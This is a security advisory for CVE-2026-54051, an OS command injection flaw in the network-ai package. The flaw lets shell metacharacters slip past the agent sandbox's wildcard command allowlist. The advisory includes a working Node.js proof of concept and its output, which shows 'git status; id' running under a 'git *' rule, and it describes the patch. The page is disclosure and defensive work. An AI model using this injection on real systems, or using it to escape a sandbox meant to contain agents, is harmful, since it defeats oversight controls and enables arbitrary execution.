🛡️ CVE-2026-54051 — network-ai

🔴 CVSS 9.9 — Critical ✅ No Known Exploit CWE-78 NVD
9.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Network-AI: Improper Neutralization of Special Elements used in an OS Command

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

1. isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

2. globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

3. ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

4. spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs [email protected], allows git *, then runs git status; id > marker.

The allowlist accepts it and the injected id runs.

Run: npm i [email protected] && node poc-316.js

```js

'use strict';

const os = require('os');

const fs = require('fs');

const path = require('path');

const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {

const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));

const marker = path.join(base, 'PWNED-316.txt');

const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });

const sh = new ShellExecutor(policy);

const payload = git status; id > ${marker}; echo INJECTED;

console.log('version:', require('network-ai/package.json').version);

console.log('allowed:', policy.isCommandAllowed(payload));

await sh.execute(payload);

const ran = fs.existsSync(marker);

console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');

console.log(ran ? 'VULNERABLE' : 'not reproduced');

process.exit(ran ? 0 : 1);

})().catch(err => { console.error(err); process.exit(3); });

```

Output:

```

version: 5.8.5

allowed: true

injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...

VULNERABLE

```

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to [email protected] or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-54051 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.

Affected software

CVE-2026-54051 is recorded against 2 packages.

  • network-ai
  • unknown

Timeline and source

Published on 19 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-78
Public Exploit ✅ No
Source NVD
Published 2026-06-19
Updated 2026-08-12
Modified 2026-06-19
Fix URL N/A

Affected Packages

Software From version Fixed in
network-ai
unknown

Similar Threats

Exploit Protection

Are you running network-ai?

CVE-2026-54051 carries CVSS 9.9 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54051 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.